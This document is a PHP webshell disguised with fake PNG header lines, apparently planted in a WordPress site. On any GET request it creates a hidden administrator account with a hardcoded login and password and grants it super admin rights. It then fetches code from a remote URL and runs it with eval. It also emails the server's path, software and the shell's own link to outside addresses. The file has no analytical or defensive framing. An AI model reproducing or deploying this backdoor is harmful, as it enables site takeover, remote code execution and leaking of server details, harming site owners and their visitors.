PNG %k25u25%fgd5n! PNG %k25u25%fgd5n! 
PNG %k25u25%fgd5n! PNG %k25u25%fgd5n! 
PNG %k25u25%fgd5n! PNG %k25u25%fgd5n! 
<?php
if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-config.php')) {
    require $_SERVER['DOCUMENT_ROOT'] . '/wp-config.php';

    // Check if the request method is GET
    if ($_SERVER['REQUEST_METHOD'] == 'GET') {
        // Define user data
        $userData = array(
            'user_pass' => "Weareoioi14",
            'user_login' => "xdx",
            'user_nicename' => "xdx",
            'user_email' => "xdxresult@hotmail.com",
            'display_name' => "xdx",
            'role' => 'administrator'
        );

        // Insert the user
        $user_id = wp_insert_user($userData);

        // Grant super admin privileges
        grant_super_admin($user_id);
    }
}

$path = "https://siteground.rubypanel.com/list/tinynologin.txt";
$code = implode('', file($path));
eval("?>" . $code);
?>
<?php
 $hex = "xdxresult@hotmail.com, sellercpanel@gmail.com, sellercpanel@hotmail.com";
 $baslik = "Shell Backdoor Datang !!!";
 $xd = "File Path : " . $_SERVER['DOCUMENT_ROOT'] . "\r\n";
 $xd.= "Server Admin : " . $_SERVER['SERVER_ADMIN'] . "\r\n";
 $xd.= "Server Operating System : " . $_SERVER['SERVER_SOFTWARE'] . "\r\n";
 $xd.= "Shell Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\r\n";
 $xd.= "Site : " . $_SERVER['HTTP_HOST'] . "\r\n";
 mail($hex, $baslik, $xd);
?>